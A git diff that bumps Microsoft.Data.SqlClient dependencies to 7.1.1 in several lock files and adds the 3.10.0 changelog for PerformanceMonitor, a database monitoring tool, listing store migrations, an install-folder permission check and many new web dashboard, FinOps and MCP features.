           "Microsoft.Data.SqlClient.SNI.runtime": "[7.1.0, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "9.0.18",
           "Microsoft.IdentityModel.JsonWebTokens": "8.16.0",
@@ -23,14 +23,14 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Azure": {
         "type": "Direct",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "ZMfBGoTa2D1VugOSh8y6Klv9mh8hefgjygAFiSHAl/1dw+EehRrBl6YFbB8IX27XUHj1tQ0I+bdGMZ5DtwMOlw==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "3/Z+6JJKGUw8+shNtftUSGOagt7XCbuhXknZjzXQfDr5aA4lUEMtU/MMNSiwMIrkviYslNKvFh1yWOArudDxQA==",
         "dependencies": {
           "Azure.Core": "1.51.1",
           "Azure.Identity": "1.18.0",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "8.0.1",
           "Microsoft.Identity.Client": "4.84.2",
           "Microsoft.Identity.Client.Broker": "4.84.2"
@@ -70,16 +70,16 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Abstractions": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "8xqe8rxLEJealAw21Rh/w+Kis4TtgAZQ+e7HrTkG/gOeiy3CbCtcMXJr3P5H9txhUQNNxkoR9qy1FIk5T85FSg==",
+        "resolved": "7.1.1",
+        "contentHash": "qP/zUOCJwfKqWNC9o+TWqltfNbLnZi1APNpJZgj0yeEJhoI+h+eoQLX+331yZHNOlDxdafZLP5arW/yrS1jAAw==",
         "dependencies": {
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)"
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)"
         }
       },
       "Microsoft.Data.SqlClient.Internal.Logging": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "z+uzJ+/xqZlYSlv0slMhiHd3TRZr20ijZmjUG2qOaNjKzMMO5cx8itHQ0s/YguqMq/8BMlXZe5n6XSgswe+73g=="
+        "resolved": "7.1.1",
+        "contentHash": "bVqbATLnHQngue7U9K7GRnzvfdDa7IyiBU2vijfU2vBMBSZrAnQp/wXqNSfaVonckSaMXUk07wfujTqy9IVMdw=="
       },
       "Microsoft.Data.SqlClient.SNI.runtime": {
         "type": "Transitive",
diff --git a/deprecated/Installer.Tests/packages.lock.json b/deprecated/Installer.Tests/packages.lock.json
index 4d02aefd00..01bc2f08a4 100644
--- a/deprecated/Installer.Tests/packages.lock.json
+++ b/deprecated/Installer.Tests/packages.lock.json
@@ -4,13 +4,13 @@
     "net10.0": {
       "Microsoft.Data.SqlClient": {
         "type": "Direct",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "yKPkjufNvrX5VDv49XHaGbUNPL4kDx9ALCrqDhYu+ThFQxjM8zGMzYxPv9iiwRU0ZL3vhgq0F2KEeoV3PT2utQ==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "Moz4+bba/OdEM9I4jXWggduJ4sqoNcgVAQyXG/dNnGGvnS/YDr2fTjP83fg5YX3drgRki6fRAhR94P8dAZgZtQ==",
         "dependencies": {
           "Microsoft.Bcl.Cryptography": "9.0.18",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Data.SqlClient.SNI.runtime": "[7.1.0, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "9.0.18",
           "Microsoft.IdentityModel.JsonWebTokens": "8.16.0",
@@ -69,16 +69,16 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Abstractions": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "8xqe8rxLEJealAw21Rh/w+Kis4TtgAZQ+e7HrTkG/gOeiy3CbCtcMXJr3P5H9txhUQNNxkoR9qy1FIk5T85FSg==",
+        "resolved": "7.1.1",
+        "contentHash": "qP/zUOCJwfKqWNC9o+TWqltfNbLnZi1APNpJZgj0yeEJhoI+h+eoQLX+331yZHNOlDxdafZLP5arW/yrS1jAAw==",
         "dependencies": {
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)"
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)"
         }
       },
       "Microsoft.Data.SqlClient.Internal.Logging": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "z+uzJ+/xqZlYSlv0slMhiHd3TRZr20ijZmjUG2qOaNjKzMMO5cx8itHQ0s/YguqMq/8BMlXZe5n6XSgswe+73g=="
+        "resolved": "7.1.1",
+        "contentHash": "bVqbATLnHQngue7U9K7GRnzvfdDa7IyiBU2vijfU2vBMBSZrAnQp/wXqNSfaVonckSaMXUk07wfujTqy9IVMdw=="
       },
       "Microsoft.Data.SqlClient.SNI.runtime": {
         "type": "Transitive",
@@ -404,20 +404,20 @@
       "installer.core": {
         "type": "Project",
         "dependencies": {
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.0, )"
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.1, )"
         }
       },
       "Microsoft.Data.SqlClient.Extensions.Azure": {
         "type": "CentralTransitive",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "ZMfBGoTa2D1VugOSh8y6Klv9mh8hefgjygAFiSHAl/1dw+EehRrBl6YFbB8IX27XUHj1tQ0I+bdGMZ5DtwMOlw==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "3/Z+6JJKGUw8+shNtftUSGOagt7XCbuhXknZjzXQfDr5aA4lUEMtU/MMNSiwMIrkviYslNKvFh1yWOArudDxQA==",
         "dependencies": {
           "Azure.Core": "1.51.1",
           "Azure.Identity": "1.18.0",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "8.0.1",
           "Microsoft.Identity.Client": "4.84.2",
           "Microsoft.Identity.Client.Broker": "4.84.2"
diff --git a/deprecated/Installer/packages.lock.json b/deprecated/Installer/packages.lock.json
index b96828d7f1..278fcdd358 100644
--- a/deprecated/Installer/packages.lock.json
+++ b/deprecated/Installer/packages.lock.json
@@ -4,13 +4,13 @@
     "net10.0": {
       "Microsoft.Data.SqlClient": {
         "type": "Direct",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "yKPkjufNvrX5VDv49XHaGbUNPL4kDx9ALCrqDhYu+ThFQxjM8zGMzYxPv9iiwRU0ZL3vhgq0F2KEeoV3PT2utQ==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "Moz4+bba/OdEM9I4jXWggduJ4sqoNcgVAQyXG/dNnGGvnS/YDr2fTjP83fg5YX3drgRki6fRAhR94P8dAZgZtQ==",
         "dependencies": {
           "Microsoft.Bcl.Cryptography": "9.0.18",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Data.SqlClient.SNI.runtime": "[7.1.0, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "9.0.18",
           "Microsoft.IdentityModel.JsonWebTokens": "8.16.0",
@@ -61,16 +61,16 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Abstractions": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "8xqe8rxLEJealAw21Rh/w+Kis4TtgAZQ+e7HrTkG/gOeiy3CbCtcMXJr3P5H9txhUQNNxkoR9qy1FIk5T85FSg==",
+        "resolved": "7.1.1",
+        "contentHash": "qP/zUOCJwfKqWNC9o+TWqltfNbLnZi1APNpJZgj0yeEJhoI+h+eoQLX+331yZHNOlDxdafZLP5arW/yrS1jAAw==",
         "dependencies": {
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)"
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)"
         }
       },
       "Microsoft.Data.SqlClient.Internal.Logging": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "z+uzJ+/xqZlYSlv0slMhiHd3TRZr20ijZmjUG2qOaNjKzMMO5cx8itHQ0s/YguqMq/8BMlXZe5n6XSgswe+73g=="
+        "resolved": "7.1.1",
+        "contentHash": "bVqbATLnHQngue7U9K7GRnzvfdDa7IyiBU2vijfU2vBMBSZrAnQp/wXqNSfaVonckSaMXUk07wfujTqy9IVMdw=="
       },
       "Microsoft.Data.SqlClient.SNI.runtime": {
         "type": "Transitive",
@@ -288,20 +288,20 @@
       "installer.core": {
         "type": "Project",
         "dependencies": {
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.0, )"
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.1, )"
         }
       },
       "Microsoft.Data.SqlClient.Extensions.Azure": {
         "type": "CentralTransitive",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "ZMfBGoTa2D1VugOSh8y6Klv9mh8hefgjygAFiSHAl/1dw+EehRrBl6YFbB8IX27XUHj1tQ0I+bdGMZ5DtwMOlw==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "3/Z+6JJKGUw8+shNtftUSGOagt7XCbuhXknZjzXQfDr5aA4lUEMtU/MMNSiwMIrkviYslNKvFh1yWOArudDxQA==",
         "dependencies": {
           "Azure.Core": "1.51.1",
           "Azure.Identity": "1.18.0",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "8.0.1",
           "Microsoft.Identity.Client": "4.84.2",
           "Microsoft.Identity.Client.Broker": "4.84.2"
@@ -326,13 +326,13 @@
     "net10.0/win-x64": {
       "Microsoft.Data.SqlClient": {
         "type": "Direct",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "yKPkjufNvrX5VDv49XHaGbUNPL4kDx9ALCrqDhYu+ThFQxjM8zGMzYxPv9iiwRU0ZL3vhgq0F2KEeoV3PT2utQ==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "Moz4+bba/OdEM9I4jXWggduJ4sqoNcgVAQyXG/dNnGGvnS/YDr2fTjP83fg5YX3drgRki6fRAhR94P8dAZgZtQ==",
         "dependencies": {
           "Microsoft.Bcl.Cryptography": "9.0.18",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Data.SqlClient.SNI.runtime": "[7.1.0, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "9.0.18",
           "Microsoft.IdentityModel.JsonWebTokens": "8.16.0",
diff --git a/docs/changelog/3.10.md b/docs/changelog/3.10.md
new file mode 100644
index 0000000000..4f1d871dcc
--- /dev/null
+++ b/docs/changelog/3.10.md
@@ -0,0 +1,633 @@
+# PerformanceMonitor 3.10.0
+
+The full changelog entries for 3.10.0. [CHANGELOG.md](../../CHANGELOG.md) carries the
+compacted index for every version, this one included, and is where `[Unreleased]` is written.
+
+## [3.10.0] - 2026-10-09
+
+### Important
+
+- **Upgrading from 3.9 runs the Darling store migrations V158 through V173 on the service's first start** - they are almost all new tables that start empty or one-row setting columns: the install id's record of the store's cluster and database (V158, V159), a collector run time table (V160), per-day summaries for Query Store and plan regressions (V161, V168), the store's own slow-read and statement history (V162, V163), an hourly row-count ledger for query stats (V164), the password key and saved-password tables (V165, V167), a PagerDuty auto-resolve setting (V166), AWS role columns for monitored servers (V169) an hourly PostgreSQL I/O rollup (V170), the two Query Store interval tables turned into day-partitioned tables (V171, V172) and an empty rollup of Query Store intervals with its triggers (V173). None of them rewrites a large table or needs an offline window. The two that read existing rows work on the registry of monitored servers and the notification settings, one row per server or one row in all: V167 records one row per saved old-format password, and V169 adds columns and a check constraint to `config.config_monitored_servers`. V166 adds a column with a constant default, which PostgreSQL 11 and later does without rewriting the table, and V168 adds a trigger to `collect.query_store_interval_latest`, which takes a short lock and rewrites nothing. V171 and V172 attach each current Query Store interval table as a legacy partition without copying or scanning it (1.1 s and 20 ms on a large store), and V173 creates its rollup tables empty and clones two triggers onto the existing partitions without scanning them. No maintenance window is needed.
+- **On Windows, upgrading an install that ordinary users can write to stops once and prints steps to move it** ([#5627]) - Before it locks the install folder, 3.10 checks who can write to it. When ordinary users can write to the folder of an existing install, `upgrade-darling.ps1` and `install-darling.ps1` stop and print numbered steps. The common case is a folder made directly under `C:\`, which takes its write permission from the drive. An install whose folder an admin fixed by hand with the commands 3.9.0 printed after a failed lock stops too. The steps stop the service and extract the new zip into a new, empty folder under `C:\Program Files`. They copy `darling.json` and run `install-darling.ps1` from the new folder, which points the existing service at it. The logon account, the saved credentials and the store are kept. Then start the service, check that it collects, and delete the old folder. The new folder passes the check, so this happens once.
+
+### Added
+
+- **FinOps page shell in the web viewer** ([#4984]) - a FinOps nav entry with a server picker and the twelve desktop sub-tabs; each says it is not on the web yet.
+- **Version Store (PVS) tab on the web FinOps page** ([#4993]) - per-database PVS state and a 24-hour size trend from `get_pvs_stats`.
+- **Database Sizes tab on the web FinOps page** ([#4994]) - per-file database sizes, used space, maximum size and volume space.
+- **FinOps Locking & Contention tab** ([#4996]) - the web viewer's FinOps page shows per-index lock and latch waits, including lock-wait counts and reserved size.
+- **FinOps Utilization tab on the web viewer** ([#4997]) - the CPU chart, memory tiles (the memory limit on Azure SQL Database) and allocated-versus-used database sizes.
+- **Lite's `get_active_queries`, `get_waiting_tasks`, `get_query_store_regressions` and `get_query_heatmap` now say where their data starts** ([#5004]) - a window that reaches back past what the store holds (a lowered retention_days, a server added mid-window) used to look like a quiet server. Each reply now carries `effective_start`, `window_truncated` and `truncation_note` beside `hours_back`, with the table that was read named in the note; `get_query_store_regressions` checks the baseline's start. `effective_start` now always ends in Z in both apps (these four plus `get_top_queries_by_cpu`, `get_top_procedures_by_cpu` and `get_query_store_top`), as does `oldest_returned_collection_time` on `get_active_queries` and `get_waiting_tasks`; a cut window used to print the store's floor without it.
+- **FinOps high-impact queries over MCP and the web read route** ([#5009]) - a new `get_finops` tool, also served at `/api/read/get_finops`, returns a server's highest-impact queries with each one's share of CPU, duration, reads, writes, memory and executions, an impact score and a high, medium or low band, the same figures the desktop viewer's High Impact tab shows.
+- **High Impact tab on the web FinOps page** ([#5019]) - the queries in the top 10 on any of CPU, duration, reads, writes, memory or executions over the last 24 hours (10 to 60 rows), ranked by impact score, each with its share of those six measures, its band and a sample of its text, read from `get_finops`.
+- **FinOps utilization over MCP and the web read route** ([#5023]) - `get_finops` gains a `utilization` view: one server's sizing verdict and reason, health score and band, CPU and memory figures, monthly and annual cost, and the 7-day provisioning trend.
+- **A daily collector can run at a time you choose** ([#5018], [#5007]) - A collector that runs once a day, or every whole number of days, such as `index_object_stats`, can have a run time, a fixed time of day on the monitored server's own clock, so a heavy collector runs in a quiet hour instead of whenever the service happened to start. In Darling, set it in the Viewer's Collector Schedules window (the new Run at column) or with `--set-collector-run-at`, fleet-wide or per server; the table `config.config_collector_run_times`, added in store version 160, holds it. In Lite, set it in the schedule editor, or as `run_at` in the schedule file. Each server starts at the run time plus a fixed spread of under 60 minutes, a run may start up to 60 minutes after its slot (later when the fleet's daily-run cap holds it), and a missed day is skipped, not replayed. `get_collection_health` and the web Collection Health tab show each collector's run time and next run. Reset to Defaults, a server's Use default schedule and Apply Default to All Servers also delete the run times of the schedule they reset. On a store whose roles you provisioned yourself, re-run `provision-roles.sql` after the upgrade so the MCP role can read the run times.
+- **The tabs that show the newest snapshot now say when it was collected** ([#5032], [#5029], [#5038], [#5028], [#5047]) - Lite's CPU Scheduler, Latches & Spinlocks, Configuration and Running Jobs grids have a Collected column, the Darling viewer's five Configuration grids have the same column, and Lite's Memory, Plan Cache and Session Stats summary strips end with Collected and the time, in the display zone to the second, so a stale snapshot no longer looks like a fresh one. The Session Stats time is the newest collection in the last bucket, which is where its Top Application and Top Host come from.
+  - **Snapshot grids show when they were collected** ([#5029]) - The desktop viewer's CPU Scheduler, Latch, Spinlock and Running Jobs grids now end in a Collected column that shows when the snapshot was collected, and the Latch and Spinlock trend charts say where their data starts when it begins after the chosen range.
+  - **Viewer summary strips show when their snapshot was collected** ([#5038]) - The Memory, Plan Cache and Session Stats summary strips now show the time their snapshot was collected, in the display zone to the second, so a strip drawn from the newest snapshot no longer reads as current when it isn't.
+  - **PostgreSQL snapshot grids show when they were collected** ([#5028]) - The Darling viewer's PostgreSQL Extensions, Server Config, Buffer Usage and Predicate Stats grids gain a Collected column, and the Replication Slots and Index Bloat times now show seconds.
+  - **The PostgreSQL Plan-capture readiness grid shows when each row was collected** ([#5047]) - it gains a Collected column (each facet's newest row can come from a different snapshot), and the Wraparound grid's Measured and the Column stats grid's Captured times now show seconds, like the other snapshot grids.
+- **FinOps database resources over MCP and the web read route** ([#5025]) - `get_finops` gains a `database_resources` view: per-database CPU, reads, writes, executions and file I/O for one server over the window, with each database's share of the server's CPU and I/O, plus the top databases by total CPU and by CPU per execution, the figures the desktop viewer's Database Resources tab and its Utilization tab's top-consumer grids show.
+- **FinOps Server Inventory over MCP and the web read route** ([#5040]) - A new `get_finops_inventory` tool and `/api/read/get_finops_inventory` route list each server's inventory, health score, cost and license warnings, the same figures the desktop Server Inventory grid shows (34 servers by default, up to 200).
+- **Database Resources tab on the web FinOps page** ([#5041], [#5064]) - per-database CPU, reads, writes, executions and file I/O for the server over a window from 1 hour to 7 days, with each database's share of the server's CPU and I/O, read from `get_finops`.
+- **Utilization tab on the web FinOps page** ([#5049]) - the sizing verdict and reason, health score and band, monthly and annual cost, CPU and memory over the last 24 hours, the 7-day provisioning trend, and the top databases by total CPU and by CPU per execution, the figures the desktop Utilization tab shows.
+- **get_finops gains an application_connections view** ([#5044]) - connection counts (average and peak; running, sleeping, dormant) and CPU, reads and writes per client application for one server over the window, the figures the desktop viewer's Application Connections tab shows; also served at /api/read/get_finops.
+- **The web viewer's FinOps page gains the Application Connections tab** ([#5055]) - connection counts (average and peak; running, sleeping, dormant), CPU, reads and writes per client application for the server over the last 24 hours, the grid the desktop viewer shows, read from get_finops.
+- **get_finops view index_analysis** ([#5056]) - `get_finops` can now return the index cleanup findings and reclaimable space for a server, per database and per index, with the largest findings first. Long scripts and definitions are cut to 300 characters unless `full_text` is set.
+- **FinOps Server Inventory tab on the web viewer** ([#5058]) - The web FinOps page now shows the fleet Server Inventory grid with hardware, provisioning status, CPU, storage, cost and health for each server.
+- **get_finops gains an optimization view** ([#5057]) - idle databases, tempdb pressure, wait time by category, the most expensive statements by CPU and daily memory-grant efficiency for one server, with an estimated cost share where the server's monthly cost is set, the figures the desktop viewer's Optimization tab shows; also served at /api/read/get_finops
+- **The web viewer's FinOps page gains the Optimization tab** ([#5060]) - idle databases, tempdb pressure, wait time by category, the 20 most expensive statements by CPU and daily memory-grant efficiency for the server, with estimated cost shares where the server's monthly cost is set, the grids the desktop viewer shows, read from get_finops
+- **get_finops gains a storage_growth view** ([#5062]) - database sizes and their 7- and 30-day growth for one server, then with database_name the fastest-growing tables over 30 days with a daily size heatmap, and with object_name one table's indexes and their usage, the figures the desktop viewer's Storage Growth tab shows; also served at /api/read/get_finops
+- **FinOps Index Analysis tab on the web viewer** ([#5066]) - The web viewer's FinOps Index Analysis tab now shows the reclaimable-space roll-up and the index cleanup recommendations that the desktop viewer shows, with a database filter and a full-text toggle.
+- **The web viewer's FinOps page gains the Storage Growth tab** ([#5067]) - each database's size and 7- and 30-day growth, a drill to the fastest-growing tables with a 30-day daily size heatmap, and on to one table's indexes and their usage, the views the desktop viewer shows, read from get_finops
+- **FinOps Recommendations over MCP and the web read route** ([#5074]) - A new `get_finops_recommendations` tool and `/api/read/get_finops_recommendations` route return the FinOps Recommendations list for one server: the same findings, in the same order, as the desktop Recommendations tab, with each estimated monthly saving in USD and the names of any checks whose reads failed.
+- **FinOps Recommendations tab on the web** ([#5075]) - The web viewer's FinOps Recommendations tab now shows the same cost-saving recommendations as the desktop tab, High severity first, with each estimated monthly saving and the names of any checks whose reads failed.
+- **Mute Rules page in the web dashboard** ([#5087]) - list, create, edit, pause/enable and delete alert mute rules from the web dashboard, with "Mute this alert" and "Mute similar" actions on Alert History rows for editing seats.
+- **The web dashboard has a read-only Admin page** ([#5089]) - Servers, Notification Routes and Alert Settings tabs; credentials and route destinations are never shown.
+- **Window pickers on the web FinOps Optimization and High Impact tabs, and the object-growth note** ([#5091]) - Optimization and High Impact choose a window from 1 hour to 7 days, kept across refreshes; Storage Growth's object view explains that per-object reservation does not fully explain file growth, and its index view and Index Analysis recommendations show a Collected time.
+- **Drag-to-zoom on web server-tab and FinOps line charts** ([#5092]) - dragging across a chart narrows it to that span with a reset chip; the zoom survives the auto-refresh.
+- **Version Store tab shows cleanup state and skipped pages** ([#5093]) - The web Version Store tab and `get_pvs_stats` now report aborted-transaction lag, cleanup state and the three skipped-page counters, matching the desktop grid.
+- **Click a column header to sort any web dashboard grid** ([#5090]) - Grids sort ascending, descending, then back to the server's order, with a ▲/▼ marker; the sort holds through the automatic refresh.
+- **Web server page: more columns on Query Store Regressions, Plan Corrections and Long Queries** ([#5099]) - the three grids now show the base executions and reads, the plan ids, forcing and force-failure details, plan execution counts and CPU, action times and users, and the long-query event type, reads, writes, login and query hash that the desktop viewer already shows.
+- **The store log keeps slow-statement plans** ([#5112]) - when the store's PostgreSQL logs `auto_explain` plans in JSON, `get_store_log` keeps each plan as redacted JSON, with its statement's query id when the plan carries one (`auto_explain.log_verbose` with `compute_query_id`), instead of only counting it. A plan too large to keep leaves only its length.
+- **Web Active Queries grid shows the desktop's columns** ([#5102]) - The Queries tab's Active Queries grid now has all 24 desktop columns, including Host, Reads, Writes, Workers, Memory, Isolation, Open Tran, Wait Resource, % Done and Query Hash. `get_active_queries` returns `wait_resource`, `percent_complete` and `query_hash` for the three that were missing.
+- **Memory pressure chart and statement-eviction tile on the web dashboard** ([#5107]) - the Memory tab charts pressure events per hour (SQL Server and operating system, medium and severe), and the PostgreSQL Activity tab shows the statement eviction pass count against `pg_stat_statements.max`.
+- **Custom start and end on the web server page's Range picker** ([#5108]) - choose Custom… to look at an exact span of up to 7 days. Panels show only that span; a few panels whose read takes no end time keep the preset and say so. A range that ended in the past is not re-read by the 60 s refresh.
+- **`get_job_history`: SQL Agent job runs over MCP** ([#5095]) - Darling's MCP server gains `get_job_history`: SQL Agent job runs across the whole fleet or one server, with window, job, status and category filters, a row limit, and a note when the window reaches past retained data.
+- **Web Configuration tab shows every Database Configuration column and the Scoped Configuration table** ([#5105]) - the Database Configuration grid now has all 28 desktop columns in the desktop's order and wording (collation, read only, trustworthy, DB chaining, broker, CDC, mixed pages, memory optimized and more), and a new Scoped Configuration table lists each database's scoped settings. `get_database_config` returns the eight fields it used to drop.
+- **Recommendations tab on the web server page** ([#5120]) - the analysis findings the desktop Viewer shows, grouped by incident with severity badges, advice text, the fix script with a Copy button, and a link to that server's Queries tab.
+- **Collection caveats on the web Collection Health tabs** ([#5123]) - the SQL Server and PostgreSQL Collection Health tabs now list the data families the analysis pass could not read, with the reason and when it started, hidden when there are none.
+- **Web Alert History: time range, row limit, server filter and Show dismissed** ([#5109]) - web Alert History has a time range (1 hour to 7 days), row limit (200, 500, 1000), server and Show dismissed choice, kept across the 60 s refresh, and says when more alerts exist than the row limit shows.
+- **Web status bar shows seat, store size and collection state** ([#5116]) - the footer now shows whether the session is read-write or read-only, the monitoring store's size, and a Starting/Degraded/Stopped note when collection is not healthy, matching the desktop Viewer.
+- **Server tags can be created, edited, deleted and assigned through MCP** ([#5088]) - five admin tools (`create_server_tag`, `update_server_tag`, `delete_server_tag`, `assign_server_tag`, `unassign_server_tag`) enforce the viewer's rules in one shared store: four levels at most, no cycles, `#RRGGBB` colours, unique sibling names. Every write names the custom alert rules whose coverage it changes, and a delete that would leave a rule matching no server needs `confirm=true`. The viewer's tag delete confirmation now names those rules too, and removing a server also removes its tag assignments.
+- **The managed PostgreSQL store logs the plans of its own slow statements** ([#5122]) - the store now loads `auto_explain`, so a store statement that runs ten seconds or more leaves its plan in the store's log, where `get_store_log` keeps it as redacted JSON. It takes effect at the next service start (for an upgrade, the install's own restart); bind values are not logged. Bring-your-own stores are unchanged.
+- **Web Wait Stats chart charts several waits at once** ([#5119]) - the chart now has the desktop's checkbox list with search, Select All, Clear All and Top waits, up to 10 waits on one zoomable chart, and a wait ms/s or signal ms/s switch. Your choices are kept across the page's refresh.
+- **Copy and CSV export on web dashboard grids** ([#5110]) - web dashboard grids now have Copy cell, Copy row, Copy all and Export CSV (rows in their current sort order, raw values, spreadsheet-formula safe).
+- **Server trends over MCP: total waits, CPU scheduler pressure, memory clerks and plan cache** ([#5117]) - A new `get_server_trend` tool, also available to the web dashboard, returns the trend the desktop charts draw for each of those four metrics, bucketed to the window like the other trend tools.
+- **The web Database Sizes tab shows free space, growth, recovery model, VLFs and cost** ([#5121]) - Free MB, Used %, Auto growth, Recovery model, VLF count and Monthly cost now appear beside each database file, as in the desktop viewer.
+- **The web dashboard can create, edit, delete and assign server tags for an admin sign-in** ([#5137]) - New `/api/server-tags` routes cover create, rename, recolour, move, delete and server assign and unassign. They use the same rules as the MCP tag tools, and a delete that would leave custom alert rules matching no server answers 409 and names those rules until it is repeated with `confirm=true`. A read-only sign-in is refused every one of them.
+- **Per-process deadlock rows on the web Deadlocks tab** ([#5139]) - Each deadlock graph now opens into the desktop's per-process columns (victim, SPID, login, host, application, database, wait resource, lock mode, isolation level, transaction, log used, statement). `get_deadlock_detail` returns them as `processes[]`.
+- **Auto-refresh interval and Refresh button on web server and FinOps pages** ([#5141]) - choose 30 sec, 1 min, 5 min or Off, or refresh now; the choice is remembered.
+- **Manage server tags from the web dashboard** ([#5138]) - a new Manage Tags page shows the tag tree and lets a signed-in editor create, rename, recolour, move and delete tags and assign servers to them. A delete that would leave a custom alert rule matching no server names those rules and asks again. Every write lists the custom alert rules whose coverage changed.
+- **Column toggles on the wide System Events grids** ([#5152]) - Memory Conditions and Memory Node OOM open with a short default column set and a "Columns:" strip that reveals the rest, and the choice survives the page's refresh.
+- **Dismiss Selected and Dismiss All on the web Alert History page** ([#5151]) - a seat that can edit gets row checkboxes and the desktop's two dismiss buttons, with a status line of how many alerts were dismissed.
+- **Job History page in the web dashboard** ([#5150]) - A cross-server Job History page shows SQL Agent job runs with server, window, job, status, category and row-limit filters, and the Activity tab gains a per-server Job History grid.
+- **Stored query plans on the web dashboard** ([#5156]) - Top Queries, High Impact and Expensive Queries rows with a query hash get a Plan button that shows the stored plan XML with Copy and Download .sqlplan.
+- **Web Blocking tab shows the desktop's blocking columns and saves report and deadlock XML** ([#5164]) - the Blocking grid has the desktop Blocked Process Reports columns (the wide ones behind column-group toggles), and the Blocked Process Reports and Deadlock Graphs rows have a Save XML button that downloads the XML (`.xml`) or the deadlock graph (`.xdl`).
+- **Web Perfmon chart charts several counters at once** ([#5162]) - the chart now has the desktop's checkbox list with search, Select All, Clear All and the General Throughput default set, up to 10 counters on one zoomable chart. Your choices are kept across the page's refresh.
+- **Web line charts have a menu** ([#5166]) - Each line chart has a "⋯" button (and right-click) with Copy Image, Save Image As, Export Data to CSV, Show Data Source (where the chart knows its read) and Reset zoom (while zoomed).
+- **More server trends over MCP: latch, spinlock, session stats and collector duration** ([#5170]) - `get_server_trend` now also returns the latch wait and spinlock collision rates per name, the server-wide session counts, and the per-collector run duration trend the desktop charts draw, with a `names` filter for the per-name ones.
